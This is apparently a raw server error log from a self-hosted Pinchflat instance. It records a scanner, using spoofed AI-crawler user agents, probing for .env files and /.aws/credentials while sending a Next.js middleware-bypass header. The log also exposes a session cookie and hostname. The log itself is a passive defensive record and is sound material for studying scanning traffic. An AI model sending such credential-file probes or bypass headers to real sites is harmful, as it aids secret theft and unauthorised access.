"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; MistralAI-User/1.0; +https://mistral.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_bod (truncated) 16:49:05.872 [info] GET /dist/.env 16:49:05.872 [debug] QUERY OK source="settings" db=0.0ms idle=16.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.872 [debug] QUERY OK source="settings" db=0.0ms idle=16.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.872 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.872 [error] #PID<0.29593.0> running PinchflatWeb.Endpoint (connection #PID<0.29592.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /dist/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29592.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33660}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29593.0>, params: %{}, path_info: ["dist", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/dist/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61VCDsJMvcW4ABvyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29592.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33660}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dist/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29592.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dist/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33660}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.4; +https://openai.com/searchbot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "sr (truncated) 16:49:05.875 [info] GET /.next/.env 16:49:05.875 [debug] QUERY OK source="settings" db=0.0ms idle=18.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.875 [debug] QUERY OK source="settings" db=0.0ms idle=17.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.875 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.875 [error] #PID<0.29595.0> running PinchflatWeb.Endpoint (connection #PID<0.29594.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.next/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.next/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29594.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.next/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33666}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29595.0>, params: %{}, path_info: [".next", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.next/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61VCy7LZgYZoABvyh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29594.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.next/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33666}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.next/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29594.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.next/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33666}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; cohere-ai; +https://cohere.com/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info (truncated) 16:49:05.926 [info] GET /build/.env 16:49:05.926 [debug] QUERY OK source="settings" db=0.1ms idle=68.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.927 [debug] QUERY OK source="settings" db=0.1ms idle=54.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:05.927 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:05.927 [error] #PID<0.29597.0> running PinchflatWeb.Endpoint (connection #PID<0.29596.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /build/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29596.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33676}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29597.0>, params: %{}, path_info: ["build", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/build/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61VO-ICVBzjUABvzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29596.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33676}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /build/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29596.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/build/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33676}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-ne (truncated) 16:49:06.311 [info] GET /.aws/credentials 16:49:06.312 [debug] QUERY OK source="settings" db=0.1ms idle=436.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.312 [debug] QUERY OK source="settings" db=0.0ms idle=436.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.312 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.312 [error] #PID<0.29599.0> running PinchflatWeb.Endpoint (connection #PID<0.29598.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29598.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33680}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Perplexity-User/1.0; +https://perplexity.ai/perplexitybot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29599.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: 